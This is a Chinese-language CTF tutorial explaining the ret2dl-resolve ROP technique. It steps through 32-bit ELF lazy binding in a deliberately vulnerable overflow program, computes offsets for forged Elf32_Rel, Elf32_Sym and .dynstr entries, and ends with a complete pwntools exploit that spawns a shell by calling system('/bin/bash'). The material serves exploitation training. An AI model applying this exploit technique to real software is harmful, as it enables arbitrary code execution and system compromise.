本文介绍一种CTF中的高级rop技巧-Return-to-dl-resolve，不久前的0CTF中的babystack和blackhole就用到了这个技巧。
## 预备知识
在开始本文前希望大家能预先了解一下什么叫延迟绑定(http://pwdme.cc/2017/09/26/lazy-binding-in-detail/)好了，我们开始假设存在以下程序：
//gcc x86.c -fno-stack-protector -m32 -o x86 #include <unistd.h> #include <string.h> char gift[0x200]; void fun(){ char buffer[0x20]; read(0,buffer,0x200); } int main(){ fun(); return 0; }
当程序第一次执行read函数时,先执行
→ 0x804841f <fun+20> call 0x80482e0 <read@plt> ↳ 0x80482e0 <read@plt+0> jmp DWORD PTR ds:0x804a00c <--先跳到0x804a00c指向的地址处执行 0x80482e6 <read@plt+6> push 0x0 <---此时入栈的0是JMPREL段（对应 .rel.plt节）的read的Elf32_Rel的相对偏移,即rel_offset 0x80482eb <read@plt+11>jmp 0x80482d0
程序会跳到0x804a00c指向的地址处执行，第一次调用函数时，0x804a00c中存的就是下一句指令push 0x0的地址0x80482e6
gef➤ x/x 0x804a00c 0x804a00c: 0x080482e6
继续执行，先将0x0压栈，再跳到0x80482d0处执行，0x80482d0处的代码为
.plt:080482D0 push ds:dword_804A004 <---此时入栈的是JMPREL段的基地址 .plt:080482D6 jmp ds:dword_804A008
0x804a000是got表的起始地址。GOT表的前三项有特殊含义:第一项是.dynamic段的地址，第二个是link_map的地址，第三个是_dl_runtime_resolve函数的地址，第四项开始就是函数的GOT表了，在这里第一项就是read@got了
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC .got.plt:0804A004 dword_804A004 dd 0; DATA XREF: sub_80482D0↑r .got.plt:0804A008 dword_804A008 dd 0; DATA XREF: sub_80482D0+6↑r .got.plt:0804A00C off_804A00C dd offset read ; DATA XREF: _read↑r
以上代码就相当于执行_dl_runtime_resolve(link_map,rel_offset)rel是个结构体：
typedef struct { Elf32_Addr r_offset; /* 这个值就是got表的虚拟地址 */ Elf32_Word r_info; /* .dynsym节区符号表索引 */ } Elf32_Rel; #define ELF32_R_SYM(val)((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff)
rel结构存在于.rel.plt段中.rel.plt段基址使用objdump -s -j .rel.plt ./x86命令来查看_dl_runtime_resolve先根据rel_offset定位到这个rel结构，再根据r_info定位到.dynsym节区中的动态链接符号表，符号表由Elf32_Sym结构表示：
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) 这个就是*/ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;
.dynsym基地址使用objdump -s -j .dynsym ./x86来获取。其中第一项st_name就是其对应的函数名字符串到.dynstr节起始的偏移值。函数定位到Elf32_Sym结构再根据st_name定位到.dynstr中的函数名.dynstr节包含了动态链接的字符，字符串是直接以ASCII码的形式储存的.dynstr的基地址由objdump -s -j .dynstr ./x86来获得。
$ objdump -s -j .dynstr ./x86 ./x86: file format elf32-i386 Contents of section .dynstr: 804821c 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s 804822c 7464696e 5f757365 64007265 6164005f tdin_used.read._ gef➤ x/5s 0x804821c 0x804821c: "" 0x804821d: "libc.so.6" 0x8048227: "_IO_stdin_used" 0x8048236: "read" 0x804823b: "__libc_start_main"
最终找到了函数名，程序根据函数名找到函数的真正地址，写入read@got
总结一下第一次调用一个库函数的流程：
index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)
## 利用思路
事实上，虚拟地址是通过最后一个箭头，即从st_name得来的，只要我们能够修改这个st_name就可以执行任意函数。比如把st_name的内容修改成为"system"。
而index_arg是我们控制的，我们需要做的是通过一系列操作。把index_arg可控转化为st_name可控。
我们需要在一个可写地址上构造一系列伪结构就可以完成利用
## 漏洞利用
就以以下这个程序为例
//gcc x86.c -fno-stack-protector -m32 -o x86 #include <unistd.h> #include <string.h> char gift[0x200]; void fun(){ char buffer[0x20]; read(0,buffer,0x200); } int main(){ fun(); return 0; }
我们可以在gift中构造我们需要的伪结构### 1.计算index_arg控制.rel.plt(Elf32_Rel)结构体位置
index_arg是我们直接通过压栈参数进行控制的，使用要伪造的目标地址减去.rel.plt段基地址就是index_arg的值
.bss:0804A040 public gift .bss:0804A040 giftdb? ; .bss:0804A041 db? ; .bss:0804A042 db? ; $ objdump -s -j .rel.plt ./x86 ./x86: file format elf32-i386 Contents of section .rel.plt: 08048298 0ca00408 07010000 10a00408 07030000 ................
index_arg = 0x0804A040 - 0x08048298 = 0x1da8### 2.构造.rel.plt(Elf32_Rel)控制.dynsym(Elf32_Sym)
r_info的计算方法是 1.n = (欲伪造的地址-.dynsym基地址)/0x10 2.r_info = n<<8 $ objdump -s -j .dynsym ./x86 ./x86: file format elf32-i386 Contents of section .dynsym: 80481cc 00000000 00000000 00000000 00000000 ................ n = ((0x0804A040 + 4*4) - 0x080481cc)/0x10 r_info = n<<8 = 0x1e800 还需要过#define ELF32_R_TYPE(val) ((val) & 0xff)宏定义，ELF32_R_TYPE(r_info)=7，因此 r_info = 0x1e800 + 0x7 = 0x1e807
### 3.构造.dynsym(Elf32_Sym)控制.dynstr(st_name)
$objdump -s -j .dynstr ./x86 ./x86: file format elf32-i386 Contents of section .dynstr: 804821c 006c6962 632e736f 2e36005f 494f5f73 .libc.so.6._IO_s st_name = (0x0804A040 + 8 + 24) - 0x804821c = 0x1e44
### 4. .dynstr写入system完成利用
直接写入ASCII形式的system即可
最终的gift中排布形式如下
## exp
from pwn import* p = process('./x86') #context.log_level = 'debug' elf = ELF('./x86') gift = 0x0804A040 payload = 0x28*'a' + 4*'a' payload += p32(elf.plt['read']) + p32(0x0804840B) payload += p32(0) + p32(gift) + p32(17*4) p.sendline(payload) payload = '' payload += p32(0x0804a00c) + p32(0x1e807) payload += p32(0x1e44)*2 payload += p32(0) + p32(0x00000012)*3 payload += 'system\x00\x00' payload += 'system\x00\x00' payload += '/bin/bash\x00' p.sendline(payload) payload = 0x28*'a' + 4*'a' payload += p32(0x080482D0) + p32(0x1da8) + p32(0x0804840B) + p32(gift + 12*4) p.sendline(payload) p.interactive()
这个技巧主要用在没有libc.so以及程序中没有输出函数的情况下
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